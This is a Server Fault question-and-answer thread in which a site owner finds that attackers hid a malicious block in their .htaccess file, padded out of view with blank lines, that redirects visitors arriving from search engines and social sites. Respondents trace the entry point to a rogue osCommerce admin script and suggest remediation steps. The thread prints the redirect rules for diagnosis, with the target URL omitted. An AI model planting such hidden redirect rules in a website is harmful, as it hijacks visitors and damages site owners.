Take the 2-minute tour ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

This question already has an answer here:

About 4 or 5 days ago, a client came back to me saying that their site was being redirected to some other suspicious looking website from Google, Yahoo, etc., but it was working fine when the user enters the site URL in the browser address bar directly.

I tried contacting my hosting provider, but they were little to no help at first and then seemed to take forever to find out the problem.

Frustrated by the wait, I set out to find what had happened. After a little bit of trawling on Google for solutions, I found out that my .htaccess file had been hacked.

What was:

<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>

had become

<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>
//several hundred empty lines later
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ /*don't want to post the malicious URL here for fear of retaliation */[R=301,L]

Basically, the bot that hacked me seemed to write directions that all traffic coming from the important sites be redirected to the virus site.

I immediately fixed it by removing the offensive code, and felt very nice about my clever self. I also removed the .htaccess file from the main folder that is accessed by the public, and kept it one folder above, at the root. I also changed the permissions to 444, read only by anyone. I changed the passwords to my FTP access, my hosting control panel, MySQL databases, et al.

However, today the issue was back. Turns out that a NEW .htaccess file had been installed in my public_html folder, and this had only the offensive code I wrote above and nothing else.

What's going on?

I have a feeling that this is not a case of my passwords being compromised. I'm on shared hosting, and maybe someone on the same hard-disk wrote a piece of code that went about writing .htaccess files merrily to all its neighbors. Is this possible? And is there anything I can do make sure this does not happen again?

There is no way I can reinstall or do anything to the main OS of the host though...

share|improve this question

marked as duplicate by Bryan, Ward, Jenny D, Dave M, Falcon Momot Sep 10 '13 at 2:06

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

5 Answers 5

Your site has been hacked. You need to wipe it and restore from a known good backup. Keep a copy of the hacked site and it's logs so that you can compare it to the good site and try to figure out how the site was compromised.

share|improve this answer
    
+1 Restore and rectify. –  John Gardeniers Sep 24 '10 at 9:23
    
I'll try this, but it's going to be a pain because my site and all its subfolders together consist of 2GB :*-( –  aditya menon Sep 24 '10 at 9:39
2  
Sorry, but if they're still getting in, there's a backdoor somewhere. You need to restore from a known good backup. Anything that had a password in it may very well have been copied away (hope you didn't have other user passwords) and if they installed monitoring software they could have been sniffing network traffic (if there's anything else unencrypted on the wire). –  Bart Silverstrim Sep 24 '10 at 11:46
    
@Bart thanks for the advice! –  aditya menon Oct 2 '10 at 19:11
up vote 5 down vote accepted

OKAY guys, I found the roaches!

I did everything, including changing FTP password, hosting panel password, (painfully) wiping the whole 2GB and going through uploading it all back up, and changing database password.

They still got in.

The FTP logs showed nothing but my own actions. On top of that, the .htaccess file's last-modified-timestamp is exactly the same as my timestamp (whenever I corrected it from its repeated perversion) so there was no way to know when and how modifications took place. I guessed they were using filemtime() and touch() to do that.

Well, turns out the rouge files are getting in through an osCommerce installation. I dunno how, but specifically, its getting through the administration area. In the admin folders, there's these foreign files called "google_analitis(sic)_somenumber". I noticed them on my main stats reader. I just looked at all the files that were being accessed (the normal logs) today, and to my luck, the file got hacked again just today, so I suspected there was a rouge script and lo-and-behold, these files got the spammer-stink written all over their filenames.

I opened them up and sure enough, they were upto a lot of mischief.

I just opened one of the files using the URL, and I was really surprised the amount of control these files were providing... it was a flippin' parallel control panel to the entire website!

Hope this helps someone... look at your third party apps, especially when you see a large number of unknown bots crawling up and down your site.

share|improve this answer
    
Did you find out how they are getting files into the osCommerce admin area ? –  Iain Oct 2 '10 at 9:34
    
No... that would take some time. I will find out eventually though, as soon as I get free :) –  aditya menon Oct 2 '10 at 15:05
    
Any followup to this? Did you find the source of the initial break in or was the osCommerce package in need of updates or...? –  Bart Silverstrim Aug 9 '11 at 11:52
    
oSCommerce has (had?) an area called a "File Manager" where you could control the filesystem from and edit files. Bad idea. This was probably where they were getting in. But I've moved on, I now use OpenCart... it's plain awesome, and it kicks osc on its old, irrelevant b**t. –  aditya menon Aug 11 '11 at 14:00

It maybe an idea to check the FTP logs for the site, or, ask your provider to if you don't have access to them. It is quite possible that someone got your FTP details some how and updated the .htaccess file (normally they like editing index.* files). We have seen this many times with client computers being infected with a trojan or similar.

You said that you had removed the .htaccess file completely. This suggests they were able to create files. FTP access is most likely, but, also check the permissions on the primary directory (public_html) you files are in. Make sure they are not globally writable.

Generally it is not possible to edit/create files in other peoples sites on a shared server unless permissions are lax.

share|improve this answer
1  
Could also be the application on your site that has been compromised. Best make sure you are running up-to-date software as well. –  Imo Sep 24 '10 at 9:25
    
Yes, IMO, I think there is a rouge PHP file in there somewhere that's writing files of its own accord. But how could they have gotten my FTP access details, the second time? I shifted FileZilla to Kiosk Mode to get rid of all history every time I log out. Could someone be sniffing my network? –  aditya menon Sep 24 '10 at 9:36
    
Unless you're using FTPs/sftp/VPN FTP will transmit the username/password over the wire unencrypted, so, trivial to snoop if client machine is compromised. Have you tried virus scanning the client system? Did you check the FTP logs for access to the .htaccess file around the time it was updated/created? –  Imo Sep 24 '10 at 9:46
    
You the man, you were right :) –  aditya menon Oct 2 '10 at 19:15
    
Thanks for the feedback. I've seen this a fair bit over the past few years. Not sure what virus/software snoops the data though. –  Imo Jan 4 '11 at 19:28

Quick patch: find every directory that has public access. Into each directory create an empty .htaccess file, change its ownership to root, make it read-only, make the directory sticky (+t) so that users can only change files they own.

Then go read some documentation on securing websites and htaccess files (hint: it might be useful to work on your apache config files and play with the various flags).

share|improve this answer
    
How to change files to root on shared hosting? –  Imo Sep 24 '10 at 9:22
    
Thanks for the early answer, but like IMO said, I can't make it accessible by root. But I definitely like the idea of "doing it before they do", I'm going to make new .htaccess files in every directory of the site, and then make them read-only... let's see what happens. –  aditya menon Sep 24 '10 at 9:44
    
@Imo, you can always give away file ownership. Otherwise you could ask the hosting provider to provide a similar solution –  lorenzog Sep 24 '10 at 14:34
    
Perhaps I don't understand your point but... user1$ chown root testfile\n chown: changing ownership of `testfile': Operation not permitted –  Imo Sep 24 '10 at 15:33
    
Ok, evidently I'm not competent enough in this field. Or it's a shared hosting that I am not familiar with.. I assumed you had shell access. –  lorenzog Sep 25 '10 at 17:20

I had a serious problem with someone hacking into my .htaccess file and my only solution was to make the file unhackable. First, I cleaned up the .htaccess file and any PHP files of all hacks. Then I changed the file permissions to 444 (644 still allows access) on the .htaccess file. Then I used the shell access to my account to make the file "immutable", which means it cannot be changed!

When you have shell access to your account on your Linux server, enter the following: # chattr +i .htaccess

Now, even those with root access cannot change the file!

It you need to undo this, enter: # chattr -i .htaccess

If you do not have shell access to your account, ask your web host about entering this for you to make the file immutable.

For non-Linux accounts, just enter "making file immutable" into Google or Bing for your type of web server. This should give you the information you need.

share|improve this answer
    
Still, these are stopgap measures. The fact that your .htaccess file was edited without authorization is just a symptom of the hack. Who knows what other damage they have done to your server? –  200_success Sep 8 '13 at 18:45

Not the answer you're looking for? Browse other questions tagged or ask your own question.